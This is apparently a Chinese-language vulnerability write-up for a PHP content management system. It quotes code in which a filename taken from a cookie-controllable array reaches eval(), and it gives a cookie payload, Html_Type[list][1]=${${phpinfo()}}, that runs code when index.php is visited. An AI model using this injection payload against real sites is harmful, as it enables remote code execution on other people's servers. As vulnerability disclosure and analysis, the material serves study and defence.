index.php 的第63行开始
elseif($webdb[NewsMakeHtml]==1) //如果是生成静态。。。by:http://www.phpeval.cn
{
$content=ob_get_contents();
ob_end_clean();
ob_start(); //备用
$content=make_html($content,'index');
echo "$content";
}
make_html 函数的代码
function make_html($content,$pagetype=''){
global $fid,$id,$fidDB,$webdb,$page,$rsdb; //下面的东西就是正则且执行到了 make_html_Function 函数
$content=preg_replace("/bencandy\.php\?fid=([\d]+)&(aid|id)=([\d]+)&page=([\d]+)/eis","make_html_Function('\\1','\\3','\\4','')",$content); //有分页的最终页
$content=preg_replace("/([a-z0-9-\.:\/]{0,})bencandy\.php\?fid=([\d]+)&(id|aid)=([\d]+)/eis","make_html_Function('\\2','\\4','1','\\1')",$content); //无分页的最终页
$content=preg_replace("/list\.php\?fid=([\d]+)&page=([\d]+)/eis","make_html_Function('\\1','','\\2','')",$content); //有分页的列表页
$content=preg_replace("/([a-z0-9-\.:\/]{0,})list\.php\?fid=([\d]+)/eis","make_html_Function('\\2','','1','\\1')",$content); //无分页的列表页
make_html_Function 函数的问题
function make_html_Function($fid,$id,$page=1,$P=''){
………… //前面的貌似也可以利用。不过我TEST的是list。就不说前面了。 by:phpeval
if($Html_Type['list'][$fid]){ //如果$Html_Type['list'][$fid] 存在那么$filename=$Html_Type['list'][$fid]
$filename=$Html_Type['list'][$fid];
}else{
$filename=$webdb[list_filename];
}
…………
eval("\$filename=\"$filename\";");
…………
当然他们的代码里面是把东西给add了。不过就像前面所说的:http://www.phpeval.cn/read.php?0 ,在双引号内是可以执行代码的。
于是如果在后台没有为list指定页面的话。(默认是不用指定页面的)。那么就可以直接执行我们的代码了。
测试方式。构造COOKIE: Html_Type[list][1]=${${phpinfo()}} 这样访问index.php 就发现phpinfo给执行了。
判断是不是默认设置。就看他们的分类地址或者文章地址是不是 html/d/d/d.html的形式就行了